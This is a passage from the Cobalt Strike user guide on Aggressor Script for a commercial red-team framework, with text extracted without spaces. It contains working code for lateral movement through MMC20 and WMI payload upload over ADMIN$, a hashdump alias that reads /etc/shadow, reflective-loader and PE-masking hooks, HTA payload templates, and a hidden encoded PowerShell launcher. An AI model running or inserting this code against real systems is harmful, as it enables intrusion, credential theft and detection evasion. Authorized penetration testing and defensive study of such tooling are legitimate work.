AggressorScript/Beacon [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "TARGETHOST")).Document.ActiveView.ExecuteShellCommand ("c:\windows\temp\a.exe", $null, "", "7"); ThiscommandusestheMMC20.ApplicationCOMobjecttoexecuteacommandonaremote target.ThismethodwasdiscoveredasalateralmovementoptionbyMattNelson: https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com- object/ Thisfunctionuses&bpowershelltorunthisPowerShellscript.Thesecondargumentisan emptystringtosuppressthedefaultdownloadcradle(iftheoperatorranpowershell-import previously).Ifyouprefer,youcouldmodifythisexampletouse&bpowerpicktorunthisone-liner withoutpowershell.exe. Thisexampleisoneofthemajormotivatorsformetoaddtheremote-execcommandandAPI toCobaltStrike.Thisisanexcellent"executethiscommand"primitive,butend-to-end weaponization(spawningasession)usuallyincludesusingthisprimitivetorunaPowerShell one-linerontarget.Foralotofreasons,thisisnottherightchoiceinmanyengagements. Exposingthisprimitivethroughtheremote-execinterfacegivesyouachoiceabouthowtobest makeuseofthiscapability(withoutforcingchoicesyoudon'twantmadeforyou). Lateral Movement (Spawn a Session) Beacon'sjumpcommandattemptstospawnanewsessiononaremotetarget.Thiscommand acceptsanexploitname,atarget,andalistener.The&beacon_remote_exploit_registerfunction makesanewmoduleavailabletojump. beacon_remote_exploit_register("wmi", "x86", "Use WMI to run a Beacon payload", lambda(&wmi_remote_spawn, $arch => "x86")); beacon_remote_exploit_register("wmi64", "x64", "Use WMI to run a Beacon payload", lambda(&wmi_remote_spawn, $arch => "x64")); Theabovefunctionsregisterwmiandwmi64optionsforusewiththejumpcommand.The &lambdafunctionmakesacopyof&wmi_remote_spawnandsets$archasastaticvariable scopedtothatfunctioncopy.Usingthismethod,we'reabletousethesamelogictopresenttwo lateralmovementoptionsfromoneimplementation.Here'sthe&wmi_remote_spawnfunction:

$1 = bid, $2 = target, $3 = listener

sub wmi_remote_spawn { local('$name $exedata'); btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3) . ") via WMI", "T1047"); CobaltStrikeUserGuide www.fortra.com page:207

AggressorScript/SSHSessions

we need a random file name.

$name = rand(@("malware", "evil", "detectme")) . rand(100) . ".exe";

generate an EXE. $arch defined via &lambda when this function was registered with

beacon_remote_exploit_register

$exedata = artifact_payload($3, "exe", $arch);

upload the EXE to our target (directly)

bupload_raw!($1, "\\ $+ $2 $+ \ADMIN$\ $+ $name", $exedata);

execute this via WMI

brun!($1, "wmic /node:" $+ $2 $+ " process call create "\\ $+ $2 $+ \ADMIN$\ $+ $name $+ "");

assume control of our payload (if it's an SMB or TCP Beacon)

beacon_link($1, $2, $3); } The&btaskfunctionfulfillsourobligationtologwhattheuserintendedtodo.TheT1047 argumentassociatesthisactionwithTactic1047inMITRE'sATT&CKmatrix. The&artfiact_payloadfunctiongeneratesastagelessartifacttorunourpayload.Itusesthe ArtifactKithookstogeneratethisfile. The&bupload_rawfunctionuploadstheartifactdatatothetarget.Thisfunctionuses \target\ADMIN$\filename.exetodirectlywritetheEXEtotheremotetargetviaanadmin-only share. &brunrunswmic /node:"target" process call create "\target\ADMIN$\filename.exe"to executethefileontheremotetarget. &beacon_linkassumescontrolofthepayload,ifit'sanSMBorTCPBeacon. SSH Sessions CobaltStrike'sSSHclientspeakstheSMBBeaconprotocolandimplementsasub-setof Beacon'scommandsandfunctions.FromtheperspectiveofAggressorScript,anSSHsession isaBeaconsessionwithfewercommands. What type of session is it? MuchlikeBeaconsessions,SSHsessionshaveanID.CobaltStrikeassociatestasksand metadatawiththisID.The&beaconsfunctionwillalsoreturninformationaboutallCobaltStrike CobaltStrikeUserGuide www.fortra.com page:208

AggressorScript/SSHSessions sessions(SSHsessionsANDBeaconsessions).Usethe-issshpredicatetotestifasessionis anSSHsession.The-isbeaconpredicatetestsifasessionisaBeaconsession. Here'safunctiontofilter&beaconstoSSHsessionsonly: sub ssh_sessions { return map({ if (-isssh $1['id']) { return $1; } else { return $null; } }, beacons()); } Aliases YoumayaddcommandstotheSSHconsolewiththessh_aliaskeyword.Here'sascripttoalias hashdumptograb/etc/shadowifyou'reanadmin. ssh_alias hashdump { if (-isadmin $1) { bshell($1, "cat /etc/shadow"); } else { berror($1, "You're (probably) not an admin"); } } Puttheaboveintoascript,loaditintoCobaltStrike,andtypehashdumpinsideofanSSH console.CobaltStrikewilltabcompleteSSHaliasestoo. Youmayalsousethe&ssh_aliasfunctiontodefineanSSHalias. CobaltStrikepassesthefollowingargumentstoanalias:$0isthealiasnameandarguments withoutanyparsing.$1istheIDofthesessionthealiaswastypedfrom.Thearguments$2and oncontainanindividualargumentpassedtothealias.Thealiasparsersplitsargumentsby spaces.Usersmayuse"doublequotes"togroupwordsintooneargument. YoumayalsoregisteryouraliaseswiththeSSHconsole'shelpsystem.Use&ssh_command_ registertoregisteracommand. Reacting to new SSH Sessions CobaltStrikeUserGuide www.fortra.com page:209

AggressorScript/OtherTopics AggressorScriptsmayreacttonewSSHsessionstoo.Usethessh_initialeventtosetup commandsthatshouldrunwhenaSSHsessionbecomesavailable. on ssh_initial {

do some stuff

} The$1argumenttossh_initialistheIDofthenewsession. Popup Menus YoumayalsoaddontotheSSHpopupmenu.Thesshpopuphookletsyouadditemstothe SSHmenu.TheargumenttotheSSHpopupmenuisanarrayofselectedsessionIDs. popup ssh { item "Run All..." { prompt_text("Which command to run?", "w", lambda({ binput(@ids, "shell $1"); bshell(@ids, $1); }, @ids => $1)); } } You'llnoticethatthisexampleisverysimilartotheexampleusedintheBeaconchapter.For example,Iuse&binputtopublishinputtotheSSHconsole.Iuse&bshelltotasktheSSH sessiontorunacommand.Thisisallcorrect.Remember,internally,anSSHsessionisa BeaconsessionasfarasmostofCobaltStrike/AggressorScriptisconcerned. Other Topics CobaltStrikeoperatorsandscriptscommunicateglobaleventstothesharedeventlog. AggressorScriptsmayrespondtothisinformationtoo.Theeventlogeventsbeginwith event_.Tolistforglobalnotifications,usetheevent_notifyhook. on event_notify { println("I see: $1"); } Topostamessagetothesharedeventlog,usethe&sayfunction. say("Hello World"); CobaltStrikeUserGuide www.fortra.com page:210

AggressorScript/OtherTopics Topostamajoreventornotification(notnecessarilychit-chat),usethe&elogfunction.The deconflictionserverwillautomaticallytimestampandstorethisinformation.Thisinformation willalsoshowupinCobaltStrike'sActivityReport. elog("system shutdown initiated"); Timers Ifyou'dliketoexecuteataskperiodically,thenyoushoulduseoneofAggressorScript'stimer events.Theseeventsareheartbeat_X,whereXis1s,5s,10s,15s,30s,1m,5m,10m,15m,20m, 30m,or60m. on heartbeat_10s { println("I happen every 10 seconds"); } Dialogs AggressorScriptprovidesseveralfunctionstopresentandrequestinformationfromtheuser. Use&show_messagetoprompttheuserwithamessage.Use&show_errortoprompttheuser withanerror. bind Ctrl+M { show_message("I am a message!"); } Use&prompt_texttocreateadialogthataskstheuserfortextinput. prompt_text("What is your name?", "Joe Smith", { show_message("Please $1 $+ , pleased to meet you"); }); The&prompt_confirmfunctionissimilarto&prompt_text,butinsteaditasksayes/noquestion. Custom Dialogs AggressorScripthasanAPItobuildcustomdialogs.&dialogcreatesadialog.Adialogconsists ofrowsandbuttons.Arowisalabel,arowname,aGUIcomponenttotakeinput,andpossiblya helpertosettheinput.Buttonsclosethedialogandtriggeracallbackfunction.Theargumentto CobaltStrikeUserGuide www.fortra.com page:211

AggressorScript/OtherTopics thecallbackfunctionisadictionarymappingeachrow'snametothevalueinitsGUI componentthattakesinput.Use&dialog_showtoshowadialog,onceit'sbuilt. Here'sadialogthatlookslikeSite Management -> Host FilefromCobaltStrike: sub callback { println("Dialog was actioned. Button: $2 Values: $3"); } $dialog = dialog("Host File", %(uri => "/download/file.ext", port => 80, mimetype => "automatic"), &callback); dialog_description($dialog, "Host a file through Cobalt Strike's web server"); drow_file($dialog, "file", "File:"); drow_text($dialog, "uri", "Local URI:"); drow_text($dialog, "host", "Local Host:", 20); drow_text($dialog, "port", "Local Port:"); drow_combobox($dialog, "mimetype", "Mime Type:", @("automatic", "application/octet-stream", "text/html", "text/plain")); dbutton_action($dialog, "Launch"); dbutton_help($dialog, "https://www.cobaltstrike.com/help-host-file"); dialog_show($dialog); Let'swalkthroughthisexample:The&dialogcallcreatestheHost Filedialog.Thesecond parameterto&dialogisadictionarythatsetsdefaultvaluesfortheuri,port,andmimetype rows.Thethirdparameterisareferencetoacallbackfunction.AggressorScriptwillcallthis functionwhentheuserclickstheLaunchbutton.&dialog_descriptionplacesadescriptionatthe topofthedialog.Thisdialoghasfiverows.Thefirstrow,madeby&drow_file,hasthelabel"File:", thename"file",andittakesinputasatextfield.Thereisahelperbuttontochooseafileand populatethetextfield.Theothersrowsareconceptuallysimilar.&dbutton_actionand &dbutton_helpcreatebuttonsthatarecenteredatthebottomofthedialog.&dialog_show showsthedialog. Here'sthedialog: CobaltStrikeUserGuide www.fortra.com page:212

AggressorScript/Callbacks figure75-Ascripteddialog. Callbacks Acallbackisusedtoallowtheusertogetaccesstotheresultanddoadditionalprocessingon theinformation.CobaltStrikeandAggressorScriptusestheconceptofcallbacksbecauseof theasynchronousbehaviorofsendingatasktobeaconandtheresponsebeingreceived sometimeinthefuturebasedonthecurrentsleeptime.Theyarealsousedwhendealingwith customdialogsinordertoperformadditionalactionsbasedoninformationfromthedialog inputandactionbutton. Onceyourasynchronouscallbackisexecutedyoucanthenperformthenecessaryoperations toprocesstheresultforyourusecase.Herearesomeexamplesofwhatyoucandowiththe result: l FormattheresultbeforedisplayingintheBeaconConsole l Scantheresultforinformationtotriggersomeadditionaltask l Savetheinformationtoafile Acallbackfunctionwillhaveargumentsandinmostcaseswillhavethesamearguments, howevertherearesomeexceptions.Youshouldalwaysrefertotheaggressorscriptfunction documentationtounderstandwhatargumentsarebeingpassedtoyourcallback. Callback Request and Response Processing Thefollowingdescribesatahighlevelwhatgoesonwhenacallbackisusedinanaggressor scriptcommand. CobaltStrikeUserGuide www.fortra.com page:213

AggressorScript/Callbacks l Theclientexecutesanaggressorscriptcommandwithacallback o Arequestiscreatedandsavedinaqueuetoberetrievedlater o Therequestissenttotheteamserver l Theteamserverreceivestherequest o Therequestissavedinaqueuetoberetrievedlater o Therequestissenttoabeacon l TheBeaconreceivestherequestandprocessesthetask o Aresponseisgeneratedandsenttotheteamserver l Theteamserverreceivestheresponse o Therequestisretrievedfrom theteamserverqueueusinganidfrom theresponse o Areplyisgeneratedandsenttotheoriginatingclient l Theoriginatingclientreceivestheresponse o Therequestisretrievedfrom theclientqueueusinganidfrom theresponse o Theclientwillexecutethecallback Boththeclientandteamserversaverequeststhathaveassociatedcallbacksinaqueue.A requestiseventuallyremovedinordertomaintainthenumberofrequestinthequeue.A requestisremovedwhenthesetwoconditionsoccur. Thefirstconditioniswhentheoriginatingclientdisconnectsfromtheteamserver.Whenthis happensthequeuemanagedbytheclientisremovedasthequeueisperteamserver connection.Thequeueontheteamserverwillseetheoriginatingclienthasdisconnectedand flaganyrequestsforthatclienttoberemoved.Thismeanstheoriginatingclientneedstostay connectedtotheteamserveruntilthecommandwithacallbackhascompleted.Otherwise,any responsesfromBeaconafteradisconnectionfromtheoriginatingclientwillbelost. Thesecondconditioniswhenthereisnoresponsesforarequestafteraperiodoftime.There aretwotimeoutsettingsthatdetermineifarequestshouldberemoved.Thefirstsettingisthe limits.callback_max_timeoutwhichdefaultsto1day,whichisusedtowaitfortheinitial response.Thesecondsettingisthelimits.callback_keep_timeoutwhichdefaultsto1hour, whichisusedtowaitforsubsequentresponses.Thesesettingscanbemodifiedbyupdating theTeamServer.propfile.Inmostusecasesthedefaultsshouldbefine,howeverifyoucreatea commandthatisalong-runningjob/taskthenthesesettingsmayneedtobeadjusted.The adjustedsettingsneedtobebasedonhowoftendatawillbereceived,whichneedstoaccount forbeacon'ssleeptimeandhowoftenthejob/tasksendsdata. Ifyouseeerror(s)likethefollowingintheteamserverconsolewindowthenthiscanindicatethe settingsneedtobeadjustedortheoriginatingclienthasdisconnectedfromtheteamserver. "Callback #/# has no pending request" CobaltStrikeUserGuide www.fortra.com page:214

AggressorScript/Callbacks TheTeamServer.propfileisnotincludedintheCobaltStrikedistribution.Thecurrentdefault filecanbefoundonGithub(https://github.com/Cobalt-Strike/teamserver-prop). Callback Implementation Aggressorscriptcallbackscanbeimplementedusingafewdifferenttechniquesandinmany casesthetechniqueusedisbasedonpersonalpreference.Therearesomeusecaseswhere youwillwanttochooseaparticulartechniqueinordertoaccomplishthetask.Thefollowing typeoftechniquescanbeusedfollowedbysimplesnippetsofcode: l AnonymousClosure l NamedClosure l LambdaClosure Examplesofaggressorscriptfunctionsthatsupporttheuseofacallbackfunctioncanbefound onGithub(https://github.com/Cobalt-Strike/callback_examples). AnonymousClosureExample Ananonymousclosureisusefulwhenyouhaveasmallamountofcodethatcanbekeptinline withthecaller.Inthisexampletheclosureisexecutedinthefuturewhendataisreturnedfroma BOF,whichsimplylogstheoutputtothebeaconconsole. alias cs_example {

User setup code removed for brevity

beacon_inline_execute($bid, $data, "go", $args, { blog($1, $2); }); } Named ClosureExample Anamedclosureisusefulwhenyouhavealotofcodeandmaywanttoreusethecodewith otheraggressorfunctions.Inthisexampletheclosurenamedbof_cbisexecutedinthefuture whendataisreturnedfromaBOF.

$1 - bid, $2 - result, $3 - info map

sub bof_cb {

User defined code removed for brevity

} alias cs_example { local('$bid $data $args');

User setup code removed for brevity

beacon_inline_execute($bid, $data, "go", $args, &bof_cb)); } CobaltStrikeUserGuide www.fortra.com page:215

AggressorScript/CustomReports Lambda ClosureExample Alambdaclosureisusefulwhenyouwanttopassvariable(s)thatwouldnotbeinscopeusing thepreviousmethods.Thisexampleshowshowyoucangetaccesstothe$test_numvariable whichisinthescopeofthecs_examplealias.

$1 - bid, $2 - result, $3 - info map, $4 - test_num

sub bof_cb {

User defined code removed for brevity

} alias cs_example { local('$bid $file $test_num');

User setup code removed for brevity

binline_execute($bid, $file, $test_num, lambda({ bof_cb ($1, $2, $3, $test_num); }, $test_num); } Custom Reports CobaltStrikeusesadomain-specificlanguagetodefineitsreports.Thislanguageissimilarto AggressorScriptbutdoesnothaveaccesstomostofitsAPIs.Thereportgenerationprocess happensinitsownscriptengineisolatedfromyourclient. ThereportscriptenginehasaccesstoadataaggregationAPIandafewprimitivestospecify thestructureofaCobaltStrikereport. Thedefault.rptfiledefinesthedefaultreportsinCobaltStrike. Loading Reports GotoCobalt Strike->Preferences->Reportstoloadacustomreport.PresstheFoldericon andselecta.rptfile.PressSave.YoushouldnowseeyourcustomreportundertheReporting menuinCobaltStrike. CobaltStrikeUserGuide www.fortra.com page:216

AggressorScript/CustomReports figure76-Loadareportfilehere. Report Errors IfCobaltStrikehadtroublewithyourreport(e.g.,asyntaxerror,runtimeerror,etc.)thiswillshow upinthescriptconsole.GotoView->Script Consoletoseethesemessages. "Hello World"Report Here'sasimple"HelloWorld"report.Thisreportdoesn'trepresentanythingspecial.Itmerely showshowtogetstartedwithacustomreport.

default description of our report [the user can change this].

describe("Hello Report", "This is a test report.");

define the Hello Report

report "Hello Report" {

the first page is the cover page of our report.

page "first" {

title heading

h1($1['long']);

today's date/time in an italicized format

ts();

a paragraph [could be the default...

p($1['description']); }

this is the rest of the report

CobaltStrikeUserGuide www.fortra.com page:217

AggressorScript/CompatibilityGuide page "rest" {

hello world paragraph

p("Hello World!"); } } AggressorScriptdefinesnewreportswiththereportkeywordfollowedbyareportnameanda blockofcode.Usethepagekeywordwithinareportblocktodefinewhichpagetemplatetouse. Contentforapagetemplatemayspanmultiplepages.Thefirstpagetemplateisthecoverof CobaltStrike'sreports.Thisexampleuses&h1toprintatitleheading.The&tsfunctionprintsa date/timestampforthereport.Andthe&pfunctionprintsaparagraph. The&describefunctionsetsadefaultdescriptionofthereport.Theusermayeditthiswhenthey generatethereport.Thisinformationispassedtothereportaspartofthereportmetadatain the$1parameter.The$1parameterisadictionarywithinformationabouttheuser's preferencesforthereport. Data Aggregation API CobaltStrikeReportsdependontheDataAggregationAPItosourcetheirinformation.ThisAPI providesyouamergedviewofdatafromallteamserver'syourclientiscurrentlyconnectedto. TheDataAggregationAPIallowsreportstoprovideacomprehensivereportoftheassessment activities.Thesefunctionsbeginwiththeagprefix(e.g.,&agTargets).Thereportenginepasses adataaggregatemodelwhenitgeneratesareport.Thismodelisthe$3parameter. Compatibility Guide ThispagedocumentsCobaltStrikechangesversion-to-versionthatmayaffectcompatability withyourcurrentAggressorScripts.Ingeneral,it'sourgoalthatascriptwrittenforCobaltStrike 3.0isforward-compatiblewithfuture3.xreleases.Majorproductreleases(e.g.,3.0->4.0)do giveussomelicensetorevisitAPIsandbreaksomeofthiscompatability.Sometimes,a compatabilitybreakingAPIchangeisinevitable.Thesechangesaredocumentedhere. Cobalt Strike 4.x

  1. CobaltStrike4.xmademajorchangestoCobaltStrike'slistenermanagementsystems. Thesechangesincludednamechangesforseveralpayloads.Scriptsthatanalyzethe listenerpayloadnameshouldnotethesechanges: l windows/beacon_smb/bind_pipeisnowwindows/beacon_bind_pipe l windows/beacon_tcp/bind_tcpisnowwindows/beacon_bind_tcp CobaltStrikeUserGuide www.fortra.com page:218

AggressorScript/CompatibilityGuide 2. CobaltStrike4.xmovesawayfrom payloadstagers.Stagelesspayloadsarepreferredin allpost-exworkflows.Wherestagelessisn'tpossible;useanexplicitstagerthatworks withallpayloads. Thejump psexec_pshlateralmovementattackisagoodexampleoftheabove.This automationgeneratesabind_pipestagertofitwithinthesizeconstraintsofa PowerShellone-liner.Allpayloadsaresentthroughthisstagingprocess;regardlessof theirconfiguration. Thisconventionchangewillbreaksomeprivilegeescalationscriptsthatfollowthepre- 4.xpatternsintheElevateKit.&bstageisnowgoneasitsunderlyingfunctionalitywas changedtoomuchtoincludeinCobaltStrike4.x.Wherepossible,privilegeescalation scriptsshoulduse&payloadtoexportapayload,runitviathetechnique,anduse &beacon_linktoconnecttothepayload.Ifastagerisrequired;use&stager_bind_tcpto exportaTCPstagerand&beacon_stage_tcptostageapayloadthroughthisstager. 3. CobaltStrike4.xremovesthefollowingAggressorScriptfunctions: Function Replacement Reason &bbypassuac &belevate &belevateisthepreferredfunctiontospawnan elevatedsessiononthelocalsystem &bpsexec_psh &bjump &bjumpisthepreferredfunctiontospawna sessiononaremotetarget &brunasadmin &belevate_ runasadminwasexpandedtoallowmultiple command optionstorunacommandinanelevated context &bstage multiple &bstagewouldstageANDlinkwhenneeded. functions Bindstagingisnowexplicitwith&beacon_ stage_tcpor&beacon_stage_pipe.&beacon_ linkisthegeneral"linktothislistener"step. &bwdigest &bmimikatz Use&bmimikatztorunthiscommand...ifyou reallywantto.:) &bwinrm &bjump,winrm &bjumpisthepreferredfunctiontospawna orwinrm64 sessiononaremotetarget &bwmi NostagelessWMIlateralmovementoption existsinCS4.x 4. CobaltStrike4.xdeprecatesthefollowingAggressorScriptfunctions: CobaltStrikeUserGuide www.fortra.com page:219

AggressorScript/Hooks Function Replacement Reason &artifact &artifact_stager Consistentarguments;consistentnaming convetion &artifact_ &artifact_ Consistentnaming;noneedforacallbackin stageless payload CobaltStrike4.x &drow_ Proxyconfigisnowtiedtothelistenerandnot proxyserver neededwhenexportingapayloadstage. &drow_listener_ &drow_listener_ Thesefunctionsarenowequivalentto smb stage eachother &listener_create &listener_create_ Alotmoreoptionsrequiredachangeinhow ext argumentsarepassed &powershell &powershell_ Consistency;de-emphasisonPowerShellone- command, linersinAPI &artifact_stager &powershell_ &powershell_ Clearernaming. encode_oneliner command &powershell_ &powershell_ Consistency;clearerseparationofpartsinAPI encode_stager command, &artifact_general &shellcode &stager Consistentarguments;consistentnaming Hooks HooksallowAggressorScripttointerceptandchangeCobaltStrikebehavior. APPLET_SHELLCODE_FORMAT Formatshellcodebeforeit'splacedontheHTMLpagegeneratedtoservetheSignedorSmart AppletAttacks.SeeUser-driven Web Drive-by Attacks on page 79. AppletKit ThishookisdemonstratedintheAppletKit.TheAppletKitisavailableviatheCobaltStrike Arsenal(Help->Arsenal). CobaltStrikeUserGuide www.fortra.com page:220

AggressorScript/Hooks Example set APPLET_SHELLCODE_FORMAT { return base64_encode($1); } BEACON_RDLL_GENERATE HooktoallowuserstoreplacetheCobaltStrikereflectiveloaderinabeaconwithaUserDefined ReflectiveLoader.Thereflectiveloadercanbeextractedfromacompiledobjectfileand pluggedintotheBeaconPayloadDLL.SeeUser Defined Reflective DLL Loader on page 164. Arguments $1-Beaconpayloadfilename $2-Beaconpayload(dllbinary) $3-Beaconarchitecture(x86/x64) Returns TheBeaconexecutablepayloadupdatedwiththeUserDefinedreflectiveloader.Return$nullto usethedefaultBeaconexecutablepayload. Example sub generate_my_dll { local('$handle $data $loader $temp_dll');

---------------------------------------------------------------------

Load an Object File that contains a Reflective Loader.

The architecture ($3) is used in the path.

---------------------------------------------------------------------

$handle = openf("/mystuff/Refloaders/bin/MyReflectiveLoader. $+ $3 $+

.o"); $handle = openf("mystuff/Refloaders/bin/MyReflectiveLoader. $+ $3 $+ .o"); $data = readb($handle, -1); closef($handle);

warn("Object File Length: " . strlen($data));

CobaltStrikeUserGuide www.fortra.com page:221

AggressorScript/Hooks if (strlen($data) eq 0) { warn("Error loading reflective loader object file."); return $null; }

---------------------------------------------------------------------

extract loader from BOF.

---------------------------------------------------------------------

$loader = extract_reflective_loader($data);

warn("Reflective Loader Length: " . strlen($loader));

if (strlen($loader) eq 0) { warn("Error extracting reflective loader."); return $null; }

---------------------------------------------------------------------

Replace the beacons default reflective loader with '$loader'.

---------------------------------------------------------------------

$temp_dll = setup_reflective_loader($2, $loader);

---------------------------------------------------------------------

TODO: Additional Customization of the PE...

- Use 'pedump' function to get information for the updated DLL.

- Use these convenience functions to perform transformations on the DLL:

pe_remove_rich_header

pe_insert_rich_header

pe_set_compile_time_with_long

pe_set_compile_time_with_string

pe_set_export_name

pe_update_checksum

- Use these basic functions to perform transformations on the DLL:

pe_mask

pe_mask_section

pe_mask_string

pe_patch_code

pe_set_string

pe_set_stringz

pe_set_long

pe_set_short

pe_set_value_at

pe_stomp

---------------------------------------------------------------------

---------------------------------------------------------------------

Give back the updated beacon DLL.

---------------------------------------------------------------------

CobaltStrikeUserGuide www.fortra.com page:222

AggressorScript/Hooks return $temp_dll; }

------------------------------------

$1 = DLL file name

$2 = DLL content

$3 = arch

------------------------------------

set BEACON_RDLL_GENERATE { warn("Running 'BEACON_RDLL_GENERATE' for DLL " . $1 . " with architecture " . $3); return generate_my_dll($1, $2, $3); } BEACON_RDLL_GENERATE_LOCAL TheBEACON_RDLL_GENERATE_LOCALhookisverysimilartoBEACON_RDLL_GENERATEwith additionalarguments. Arguments $1-Beaconpayloadfilename $2-Beaconpayload(dllbinary) $3-Beaconarchitecture(x86/x64) $4-ParentbeaconID $5-GetModuleHandleApointer $6-GetProcAddresspointer Example

------------------------------------

$1 = DLL file name

$2 = DLL content

$3 = arch

$4 = parent Beacon ID

$5 = GetModuleHandleA pointer

$6 = GetProcAddress pointer

------------------------------------

set BEACON_RDLL_GENERATE_LOCAL { warn("Running 'BEACON_RDLL_GENERATE_LOCAL' for DLL " . CobaltStrikeUserGuide www.fortra.com page:223

AggressorScript/Hooks $1 ." with architecture " . $3 . " Beacon ID " . $4 . " GetModuleHandleA " $5 . " GetProcAddress " . $6); return generate_my_dll($1, $2, $3); } AlsoSee BEACON_RDLL_GENERATE on page 221 BEACON_RDLL_SIZE TheBEACON_RDLL_SIZEhookallowstheuseofbeaconswithmorespacereservedforUser DefinedReflectiveloaders.ThealternatebeaconsareusedintheBEACON_RDLL_GENERATE andBEACON_RDLL_GENERATE_LOCALhooks.Theoriginal/defaultspacereservedfor reflectiveloadersis5KB.Thehookalsoallowstheentirereflectiveloaderspacetoberemoved. Overridingthissettingwillgeneratebeaconsthataretoolargefortheplaceholdersinstandard artifacts.Itisverylikelytorequirecustomizedchangesinanartifactkittoexpandreserved payloadspace.SeethedocumentationintheartifactkitprovidedbyCobaltStrike. Customized"stagesize"settingsaredocumentedin"build.sh"and"script.example".SeeUser Defined Reflective DLL Loader on page 164. Arguments $1-Beaconpayloadfilename $2-Beaconarchitecture(x86/x64) Returns ThesizeinKBfortheReflectiveLoaderreservedspaceinbeacons.Validvaluesare"0","5","100". "0"usesbeaconswithoutthereservedspacesforreflectiveloaders. "5"isthedefaultandusesstandardbeaconswith5KBreservedspaceforreflectiveloaders. "100"useslargerbeaconswith100KBreservedspaceforreflectiveloaders. Example

------------------------------------

$1 = DLL file name

CobaltStrikeUserGuide www.fortra.com page:224

AggressorScript/Hooks

$2 = arch

------------------------------------

set BEACON_RDLL_SIZE { warn("Running 'BEACON_RDLL_SIZE' for DLL " . $1 . " with architecture " . $2); return "100"; } BEACON_SLEEP_MASK UpdateaBeaconpayloadwithaUserDefinedSleepMask Arguments $1-beacontype(default,pivot) $2-arch SleepMaskKit ThishookisdemonstratedintheThe Sleep Mask Kit on page 92. EXECUTABLE_ARTIFACT_GENERATOR ControltheEXEandDLLgenerationforCobaltStrike. Arguments $1-theartifactfile(e.g.,artifact32.exe) $2-shellcodetoembedintoanEXEorDLL ArtifactKit ThishookisdemonstratedintheThe Artifact Kit on page 89. HTMLAPP_EXE ControlsthecontentoftheHTMLApplicationUser-driven(EXEOutput)generatedbyCobalt Strike. Arguments CobaltStrikeUserGuide www.fortra.com page:225

AggressorScript/Hooks $1-theEXEdata $2-thenameofthe.exe ResourceKit ThishookisdemonstratedintheThe Resource Kit on page 92. Example set HTMLAPP_EXE { local('$handle $data'); $handle = openf(script_resource("template.exe.hta")); $data = readb($handle, -1); osef($handle); $data = strrep($data, '##EXE##', transform($1, "hex")); $data = strrep($data, '##NAME##', $2); return $data; } HTMLAPP_POWERSHELL ControlsthecontentoftheHTMLApplicationUser-driven(PowerShellOutput)generatedby CobaltStrike. Arguments $1-thePowerShellcommandtorun ResourceKit ThishookisdemonstratedintheThe Resource Kit on page 92. Example set HTMLAPP_POWERSHELL { local('$handle $data'); $handle = openf(script_resource("template.psh.hta")); $data = readb($handle, -1); closef($handle); CobaltStrikeUserGuide www.fortra.com page:226

AggressorScript/Hooks

push our command into the script

return strrep($data, "%%DATA%%", $1); } LISTENER_MAX_RETRY_STRATEGIES Returnastringthatcontainsthelistofdefinitionswhichisseparatedwitha'\n'character.The definitionneedstomatchasyntaxofexit-[max_attempts]-[increase_attempts]- [duration][m,h,d]. Forexampleexit-10-5-5mwillexitbeaconafter10failedattemptsandwillincreasesleep timeafterfivefailedattemptsto5minutes.Thesleeptimewillnotbeupdatedifthecurrent sleeptimeisgreaterthanthespecifieddurationvalue.Thesleeptimewillbeaffectedbythe currentjittervalue.Onasuccessfulconnectionthefailedattemptscountwillberesettozero andthesleeptimewillberesettothepriorvalue. Return$nulltousethedefaultlist. Example

Use a hard coded list of strategies

set LISTENER_MAX_RETRY_STRATEGIES { local('$out'); $out .= "exit-50-25-5m\n"; $out .= "exit-100-25-5m\n"; $out .= "exit-50-25-15m\n"; $out .= "exit-100-25-15m\n"; return $out; }

Use loops to build a list of strategies

set LISTENER_MAX_RETRY_STRATEGIES { local('$out'); @attempts = @(50, 100); @durations = @("5m", "15m"); $increase = 25; foreach $attempt (@attempts) { foreach $duration (@durations) CobaltStrikeUserGuide www.fortra.com page:227

AggressorScript/Hooks { $out .= "exit $+ - $+ $attempt $+ - $+ $increase $+ - $+ $duration\n"; } } return $out; } POSTEX_RDLL_GENERATE HooktoallowuserstoreplacetheCobaltStrikereflectiveloaderforpost-exwithaUserDefined ReflectiveLoader.SeePost-ex User Defined Reflective DLL Loader on page 163. ThePost-exDLLpassedasargument2doesnotcontainanyreflectiveloader.Youdonotneed toremoveanexistingreflectiveloaderfromtheDLL. Arguments $1Post-expayloadfilename $2Post-expayload(dllbinary) $3Post-exarchitecture(x86/x64) $4parentBeaconID $5GetModuleHandlepointer $6GetProcAddresspointer Returns ThePost-expayloadupdatedwiththeUserDefinedreflectiveloader.Return$nulltousethe defaultPost-expayloadandloader. Example

------------------------------------

$1 = DLL file name

$2 = DLL content

$3 = arch

$4 = parent Beacon ID

$5 = GetModuleHandle pointer

CobaltStrikeUserGuide www.fortra.com page:228

AggressorScript/Hooks

$6 = GetProcAddress pointer

------------------------------------

set POSTEX_RDLL_GENERATE { local('arch postex $file_handle $ldr $loader_path $payload'); $postex = $2; $arch = $3; warn("Running 'POSTEX_RDLL_GENERATE' for DLL " . $1 ." with architecture " . $3 . " Beacon ID " . $4 . " . GetModuleHandleA “ . $5 . " GetProcAddress " . $6);

Read the UDRL from the supplied binary file

$loader_path = "mystuff/Refloaders/bin/MyPostExReflectiveLoader. $+ $arch $+ .o"; $file_handle = openf($loader_path); $ldr = readb($file_handle, -1); closef($file_handle); if (strlen($ldr) == 0) { warn("Error: Failed to read $loader_path"); return $null; }

Prepend UDRL (sRDI/Double Pulsar type) to Post-ex DLL and output

the modified payload. $payload = $ldr . $postex; print_info("Payload Size: " . strlen($payload)); return $payload; } POWERSHELL_COMMAND ChangetheformofthepowershellcomamndrunbyCobaltStrike'sautomation.Thisaffects jumppsexec_psh,powershell,and[host]->Access->One-liner. Arguments $1-thePowerShellcommandtorun. $2-true|falsethecommandisrunonaremotetarget. ResourceKit ThishookisdemonstratedintheThe Resource Kit on page 92. Example CobaltStrikeUserGuide www.fortra.com page:229

AggressorScript/Hooks set POWERSHELL_COMMAND { local('$script'); $script = transform($1, "powershell-base64");

remote command (e.g., jump psexec_psh)

if ($2) { return "powershell -nop -w hidden -encodedcommand $script"; }

local command

